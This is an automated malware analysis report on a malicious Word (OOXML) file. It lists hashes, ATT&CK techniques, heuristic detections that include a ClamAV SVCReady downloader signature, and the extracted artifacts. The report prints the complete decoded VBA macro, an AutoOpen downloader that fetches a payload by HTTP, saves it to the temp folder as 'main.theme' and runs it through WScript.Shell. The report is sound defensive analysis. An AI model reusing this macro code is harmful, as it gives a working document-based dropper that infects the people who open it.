Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a3ba4baa49060dd7…

MALICIOUS

Office (OOXML)

111.7 KB Created: 2020-08-06 11:03:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 8185054506eeff9ceb5c7b003a633aef SHA-1: 8ab387173c7cbce1ec27d236d398054af8a798d2 SHA-256: a3ba4baa49060dd73324c9d6f63a67f23a13b466fae33f85ad7493d58c5f8e6a
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros that are executed via the AutoOpen subroutine. These macros utilize WScript.Shell and CreateObject to download a file from a URL, which is then saved to the temporary directory as 'main.theme'. The script then attempts to execute this downloaded file, indicating a downloader functionality. The presence of AutoOpen, Shell(), WScript.Shell usage, and CreateObject point to a malicious downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function e82b4a7e(a2caa945)
Set c48cccfa = CreateObject("wscript.shell")
Call c48cccfa.exec(a2caa945)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function e82b4a7e(a2caa945)
Set c48cccfa = CreateObject("wscript.shell")
Call c48cccfa.exec(a2caa945)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "fc56e244"
Sub AutoOpen()
Dim b881189a As New f21b46bf
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function f535fd56()
f535fd56 = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 0541c8259ca7f41b34996bdb2eaacbaf37db5d5d2c0dc4ec6c54d86076c48d06
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fc56e244"
Sub AutoOpen()
Dim b881189a As New f21b46bf
Dim af01ac7d As String
af01ac7d = dfbd8410(ActiveDocument.Shapes(1).AlternativeText)
df22245d = b881189a.f03f044f(af01ac7d)
b0e0135d f535fd56, df22245d
ecabbde3 = b881189a.e82b4a7e(a86b1742 & " " & f535fd56)
End Sub

Attribute VB_Name = "f91fde3c"
Sub b0e0135d(ac54aabb, e0b10f41)
Dim c70f1855
c70f1855 = FreeFile
Open ac54aabb For Output As #c70f1855
Print #c70f1855, ed0e8653(e0b10f41)
Close #c70f1855
End Sub
Function f535fd56()
f535fd56 = Environ("temp") & "\main.theme"
End Function
Function dfbd8410(c24da53c)
'dfbd8410 = StrReverse(c24da53c)
dfbd8410 = c24da53c
End Function
Sub ebd3714e()
End Sub
Function ed0e8653(e0b10f41)
ed0e8653 = StrConv(e0b10f41, 64)
End Function
Function a86b1742()
a86b1742 = dfbd8410(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "f21b46bf"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f03f044f(cb9cc7f9)
Dim e8059abb As Object
Set e8059abb = New MSXML2.XMLHTTP60
aaa = e8059abb.Open("GET", cb9cc7f9, False)
e8059abb.Send
f03f044f = e8059abb.responsebody
End Function
Function e82b4a7e(a2caa945)
Set c48cccfa = CreateObject("wscript.shell")
Call c48cccfa.exec(a2caa945)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 8a8e1677a19c6f4b1155db148c985a77dbb1eed0b2423d3a135b62174371fa8d

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